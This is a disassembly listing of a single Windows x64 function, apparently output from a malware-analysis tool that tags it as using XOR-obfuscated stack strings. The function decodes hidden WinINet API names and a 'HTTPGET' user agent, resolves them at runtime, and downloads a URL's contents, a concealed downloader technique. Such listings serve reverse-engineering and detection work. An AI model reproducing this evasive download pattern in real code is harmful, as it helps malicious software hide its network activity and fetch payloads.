Function at 0x140001590
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3f0]
sub rsp, 0x4f0
mov rax, qword [0x14001e008]
xor rax, rsp
mov qword [rbp + 0x3e0], rax
mov r13, rdx
mov rbx, rcx
mov qword [rbp - 0x40], rcx
xor r14d, r14d
mov al, 0x18
mov dword [rsp + 0x50], 0x4f0018
mov dword [rsp + 0x54], 0x760071
mov dword [rsp + 0x58], 0x760071
mov dword [rsp + 0x5c], 0x6c007d
mov dword [rsp + 0x60], 0x7c0036
mov dword [rsp + 0x64], 0x740074
mov word [rsp + 0x68], r14w
mov ecx, r14d
movsx eax, al
xor word [rsp + rcx*2 + 0x52], ax
inc rcx
cmp rcx, 0xb
jae 0x14000161f
mov al, byte [rsp + 0x50]
jmp 0x140001608
mov word [rsp + 0x68], r14w
lea rcx, [rsp + 0x52]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
mov cl, 0x3d
mov dword [rsp + 0x40], 0x4953743d
mov dword [rsp + 0x44], 0x58534f58
mov dword [rsp + 0x48], 0x584d7249
mov word [rsp + 0x4c], 0x7c53
mov byte [rsp + 0x4e], r14b
mov rax, r14
xor byte [rsp + rax + 0x41], cl
inc rax
cmp rax, 0xd
jae 0x14000166f
mov cl, byte [rsp + 0x40]
jmp 0x14000165c
mov byte [rsp + 0x4e], r14b
lea rdx, [rsp + 0x41]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
movdqa xmm0, xmmword [0x14001b9f0]
movdqu xmmword [rbp - 0x78], xmm0
mov word [rbp - 0x68], 0x39
mov rcx, r14
mov al, byte [rbp - 0x78]
xor byte [rbp + rcx - 0x77], al
inc rcx
cmp rcx, 0x10
jb 0x14000169b
mov byte [rbp - 0x67], r14b
lea rdx, [rbp - 0x77]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r15, rax
movdqa xmm0, xmmword [str._wPJ_LP_Jl__ZxWR]
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x50], 0x5b
mov rcx, r14
mov al, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5f], al
inc rcx
cmp rcx, 0x10
jb 0x1400016d5
mov byte [rbp - 0x4f], r14b
lea rdx, [rbp - 0x5f]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r12, rax
movdqa xmm0, xmmword [0x14001b9e0]
movdqu xmmword [rsp + 0x70], xmm0
mov dword [rbp - 0x80], 0x151c141e
mov byte [rbp - 0x7c], r14b
mov rcx, r14
mov al, byte [rsp + 0x70]
xor byte [rsp + rcx + 0x71], al
inc rcx
cmp rcx, 0x13
jb 0x140001715
mov byte [rbp - 0x7c], r14b
lea rdx, [rsp + 0x71]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov al, 0x4e
mov dword [rsp + 0x30], 0x1a1a064e
mov dword [rsp + 0x34], 0x1a0b091e
xor edx, edx
mov byte [rsp + 0x38], dl
mov ecx, edx
xor byte [rsp + rcx + 0x31], al
inc rcx
cmp rcx, 7
jae 0x140001768
mov al, byte [rsp + 0x30]
jmp 0x140001755
mov byte [rsp + 0x38], dl
mov dword [rsp + 0x20], edx
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
lea rcx, [rsp + 0x31]
call rsi
mov rsi, rax
test rax, rax
jne 0x1400017a6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rdx, [0x14001b9a0]
mov rcx, rbx
call fcn.140001e98
jmp 0x1400018ab
and dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rdx, r13
mov rcx, rsi
call r15
mov r15, rax
xor r13d, r13d
test rax, rax
jne 0x1400017d5
mov rcx, rsi
call r14
jmp 0x140001789
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x38], xmm1
mov qword [rbp - 0x28], r13
mov dword [rbp - 0x40], r13d
lea r9, [rbp - 0x40]
mov r8d, 0x400
lea rdx, [rbp - 0x20]
mov rcx, r15
call r12
test eax, eax
je 0x1400018d8
mov eax, dword [rbp - 0x40]
test eax, eax
je 0x140001822
mov r9d, eax
lea r8, [rbp - 0x20]
mov rdx, qword [rbp - 0x30]
lea rcx, [rbp - 0x38]
call fcn.140001fb8
cmp dword [rbp - 0x40], r13d
ja 0x1400017e5
mov rcx, r15
call r14
mov rcx, rsi
call r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r13
mov rdi, qword [rbp - 0x38]
mov r8, qword [rbp - 0x30]
cmp rdi, r8
jne 0x140001863
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], r13b
jmp 0x140001872
sub r8, rdi
mov rdx, rdi
mov rcx, rbx
call fcn.1400021e4
nop
test rdi, rdi
je 0x1400018ab
mov rdx, qword [rbp - 0x28]
sub rdx, rdi
mov rax, rdi
cmp rdx, 0x1000
jb 0x1400018a3
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001932
mov rcx, rdi
call fcn.14000245c
mov rax, rbx
mov rcx, qword [rbp + 0x3e0]
xor rcx, rsp
call fcn.140002400
mov rbx, qword [rsp + 0x540]
add rsp, 0x4f0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rcx, r15
call r14
mov rcx, rsi
call r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
lea rdx, [0x14001b9a0]
mov rcx, rbx
call fcn.140001e98
nop
mov rcx, qword [rbp - 0x38]
test rcx, rcx
je 0x1400018ab
mov rdx, qword [rbp - 0x28]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018a6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400018a6
call fcn.14000897c
int3